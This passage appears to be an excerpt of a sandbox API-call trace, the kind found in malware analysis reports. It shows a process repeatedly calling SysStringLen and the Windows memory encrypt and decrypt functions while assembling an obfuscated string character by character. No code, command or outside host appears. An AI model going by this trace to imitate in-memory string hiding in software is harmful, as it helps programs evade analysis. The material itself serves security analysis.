OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.607] SysStringLen (param_1="x/") returned 0x8 [0136.607] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.607] SysStringLen (param_1="\x10b9\xd96c\xc41e\xe69f\x2819\xd096\x8948\x4daf") returned 0x8 [0136.607] SysStringLen (param_1="\x10b9\xd96c\xc41e\xe69f\x2819\xd096\x8948\x4daf") returned 0x8 [0136.607] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.607] SysStringLen (param_1="x/b") returned 0x8 [0136.607] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.607] SysStringLen (param_1="\xe081\xa452\x97e4\x9dbc\x205\x2db\xb738\x941") returned 0x8 [0136.607] SysStringLen (param_1="\xe081\xa452\x97e4\x9dbc\x205\x2db\xb738\x941") returned 0x8 [0136.607] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.607] SysStringLen (param_1="x/bX") returned 0x8 [0136.607] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.607] SysStringLen (param_1="\x299e\xd20a\xd2f5\x7844\x5c8e\xa3ed\x8832\xe85e") returned 0x8 [0136.607] SysStringLen (param_1="\x299e\xd20a\xd2f5\x7844\x5c8e\xa3ed\x8832\xe85e") returned 0x8 [0136.607] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="x/bXi") returned 0x8 [0136.608] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="\x3a9b\x4e7c\xd9fc\x54e0\xfe55\xde39\x4a07\xde6") returned 0x8 [0136.608] SysStringLen (param_1="\x3a9b\x4e7c\xd9fc\x54e0\xfe55\xde39\x4a07\xde6") returned 0x8 [0136.608] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="x/bXi/") returned 0x8 [0136.608] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="\xad5a\xb2c\xa44a\x5ff4\xecc7\x31cc\x5d99\x32b0") returned 0x8 [0136.608] SysStringLen (param_1="\xad5a\xb2c\xa44a\x5ff4\xecc7\x31cc\x5d99\x32b0") returned 0x8 [0136.608] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="x/bXi/9") returned 0x8 [0136.608] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="橻ቤ㭸貍꣺㞇抨") returned 0x8 [0136.608] SysStringLen (param_1="橻ቤ㭸貍꣺㞇抨") returned 0x8 [0136.608] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="x/bXi/91") returned 0x8 [0136.608] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.608] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f") returned 0x8 [0136.608] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f") returned 0x8 [0136.608] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f") returned 0x8 [0136.608] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f") returned 0x10 [0136.608] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="x/bXi/91Rཕ撚伃㟳׌") returned 0x10 [0136.609] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xc2a9\xe7d\xcac8\xbf25\xca33\xbce2\xb6ea\x4113") returned 0x10 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xc2a9\xe7d\xcac8\xbf25\xca33\xbce2\xb6ea\x4113") returned 0x10 [0136.609] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="x/bXi/91Reཕ撚伃㟳׌") returned 0x10 [0136.609] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x55ee\x7ca8\x9bcb\xf39a\xa7cc\x8205\x4d17\xb1f4") returned 0x10 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x55ee\x7ca8\x9bcb\xf39a\xa7cc\x8205\x4d17\xb1f4") returned 0x10 [0136.609] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="x/bXi/91Reaཕ撚伃㟳׌") returned 0x10 [0136.609] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x2b4f\x400d\xab75\x1fae\xeda8\x68ca\xa0ae\xe8ee") returned 0x10 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x2b4f\x400d\xab75\x1fae\xeda8\x68ca\xa0ae\xe8ee") returned 0x10 [0136.609] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="x/bXi/91Reaa撚伃㟳׌") returned 0x10 [0136.609] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xca1f\x2f7f\xb181\xaacc\x4b4e\x8933\x6c7d\xb8ba") returned 0x10 [0136.609] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xca1f\x2f7f\xb181\xaacc\x4b4e\x8933\x6c7d\xb8ba") returned 0x10 [0136.609] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="x/bXi/91ReaaV伃㟳׌") returned 0x10 [0136.610] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xf81d\xf97e\x8884\x491\x52ae\x866a\x3ae8\xc6d6") returned 0x10 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xf81d\xf97e\x8884\x491\x52ae\x866a\x3ae8\xc6d6") returned 0x10 [0136.610] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="x/bXi/91ReaaVb㟳׌") returned 0x10 [0136.610] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xcec3\xbf71\x7893\x3bb9\xe0b0\x3d97\x47f\x7189") returned 0x10 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xcec3\xbf71\x7893\x3bb9\xe0b0\x3d97\x47f\x7189") returned 0x10 [0136.610] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="x/bXi/91ReaaVb7׌") returned 0x10 [0136.610] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xa14c\xd17e\x87bd\x7170\x47a1\x973a\x5d66\x5bf3") returned 0x10 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\xa14c\xd17e\x87bd\x7170\x47a1\x973a\x5d66\x5bf3") returned 0x10 [0136.610] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="x/bXi/91ReaaVb7k") returned 0x10 [0136.610] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3") returned 0x10 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3") returned 0x10 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3") returned 0x10 [0136.610] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3") returned 0x18 [0136.610] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="x/bXi/91ReaaVb7kv釙蟟ⶵな횈\x1e硠") returned 0x18 [0136.611] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x9115\x2f34\x9fa7\xc98a\x7bde\xfc2a\x4a10\xab21") returned 0x18 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x9115\x2f34\x9fa7\xc98a\x7bde\xfc2a\x4a10\xab21") returned 0x18 [0136.611] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="x/bXi/91ReaaVb7kvL蟟ⶵな횈\x1e硠") returned 0x18 [0136.611] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xd57e\xd8e6\xfacb\x8cc4\xf895\x5ba2\x5ef6\xe5b") returned 0x18 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xd57e\xd8e6\xfacb\x8cc4\xf895\x5ba2\x5ef6\xe5b") returned 0x18 [0136.611] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="x/bXi/91ReaaVb7kvLYⶵな횈\x1e硠") returned 0x18 [0136.611] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xb1\x700d\xceec\x87ee\xfd0a\x966f\xa84f\x988b") returned 0x18 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xb1\x700d\xceec\x87ee\xfd0a\x966f\xa84f\x988b") returned 0x18 [0136.611] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3な횈\x1e硠") returned 0x18 [0136.611] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xe578\xb9f2\xbe50\x3ebe\x557d\xe4d0\x134c\xae75") returned 0x18 [0136.611] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xe578\xb9f2\xbe50\x3ebe\x557d\xe4d0\x134c\xae75") returned 0x18 [0136.611] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.611] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3O횈\x1e硠") returned 0x18 [0136.611] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xa28\x40a8\x1c24\xec18\x1590\x6fb3\x74e8\xc930") returned 0x18 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\xa28\x40a8\x1c24\xec18\x1590\x6fb3\x74e8\xc930") returned 0x18 [0136.612] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.612] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3Oy\x1e硠") returned 0x18 [0136.612] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x31f2\x3cdd\xe597\xae3f\x99b6\x1b97\xcfc7\xc37c") returned 0x18 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x31f2\x3cdd\xe597\xae3f\x99b6\x1b97\xcfc7\xc37c") returned 0x18 [0136.612] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.612] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyR硠") returned 0x18 [0136.612] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x3b08\x5d7d\x5a5d\x6fb\x4b0\xd66a\x5fc4\xfd51") returned 0x18 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x3b08\x5d7d\x5a5d\x6fb\x4b0\xd66a\x5fc4\xfd51") returned 0x18 [0136.612] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.612] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRV") returned 0x18 [0136.612] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80") returned 0x18 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80") returned 0x18 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80") returned 0x18 [0136.612] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80") returned 0x20 [0136.612] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.612] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR䵡逐曷䓥뀐鵓") returned 0x20 [0136.612] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\xadbd\x806c\x31c2\xd159\xdc1\xa1d9\x1b3d\xb9b8") returned 0x20 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\xadbd\x806c\x31c2\xd159\xdc1\xa1d9\x1b3d\xb9b8") returned 0x20 [0136.613] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6䵡逐曷䓥뀐鵓") returned 0x20 [0136.613] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3670\x486a\x454\xd50b\x64d\x248e\xf74d\x5b6d") returned 0x20 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3670\x486a\x454\xd50b\x64d\x248e\xf74d\x5b6d") returned 0x20 [0136.613] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6F逐曷䓥뀐鵓") returned 0x20 [0136.613] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x978e\x4b27\x796f\x9c89\x4a05\xd724\x667e\x863a") returned 0x20 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x978e\x4b27\x796f\x9c89\x4a05\xd724\x667e\x863a") returned 0x20 [0136.613] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh曷䓥뀐鵓") returned 0x20 [0136.613] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\xe2ba\x26a0\xbe8c\x955b\x60d2\xe516\x97b9\x6b73") returned 0x20 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\xe2ba\x26a0\xbe8c\x955b\x60d2\xe516\x97b9\x6b73") returned 0x20 [0136.613] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0䓥뀐鵓") returned 0x20 [0136.613] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\xa5a3\x6d26\xc938\x1d66\xe888\x27ac\xcb42\xb235") returned 0x20 [0136.613] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\xa5a3\x6d26\xc938\x1d66\xe888\x27ac\xcb42\xb235") returned 0x20 [0136.613] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.614] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0e뀐鵓") returned 0x20 [0136.614] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x16f0\x1a33\x72a6\xea0\xecd0\xd2aa\x3baa\xe52e") returned 0x20 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x16f0\x1a33\x72a6\xea0\xecd0\xd2aa\x3baa\xe52e") returned 0x20 [0136.614] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.614] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0eg鵓") returned 0x20 [0136.614] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x2271\x94e5\xcee4\x1dbe\x4937\xb774\xac5d\x9407") returned 0x20 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x2271\x94e5\xcee4\x1dbe\x4937\xb774\xac5d\x9407") returned 0x20 [0136.614] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.614] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egr") returned 0x20 [0136.614] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399") returned 0x20 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399") returned 0x20 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399") returned 0x20 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399") returned 0x28 [0136.614] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.614] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrl뵢哯敁∭葂雁㍊") returned 0x28 [0136.614] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.614] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xc458\x339e\x5376\x9dff\xed09\x40cc\x645d\x4b77") returned 0x28 [0136.614] SysStringLen 